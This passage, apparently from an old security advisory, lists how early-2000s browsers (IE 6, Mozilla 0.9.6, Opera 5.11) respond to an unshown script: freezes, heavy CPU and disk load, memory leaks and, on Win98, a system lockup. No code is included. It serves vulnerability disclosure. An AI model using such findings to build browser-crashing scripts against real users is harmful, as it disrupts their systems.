Browser reaction
IE 6 (build 2600) @ Win2K - after long time with ~50% CPU utilization
and very high disk utilization asks about stopping script. Small memory
leak (few Mb per minute).
IE 6 (build 2600) @ Win98 - freezes, other IE windows renders very long,
terminating task causes computer lockup.
Mozilla 0.9.6 (build 2001112009) @ Win2K - freezes, ~98% CPU utilization
and big memory leak (bigger than 1Mb per second).
Opera 5.11 (build 094d) @ Win2K - not freezes, responds, but not very
fast. Big CPU utilization and very small memory leak (few hundreth
kilobytes per minute).
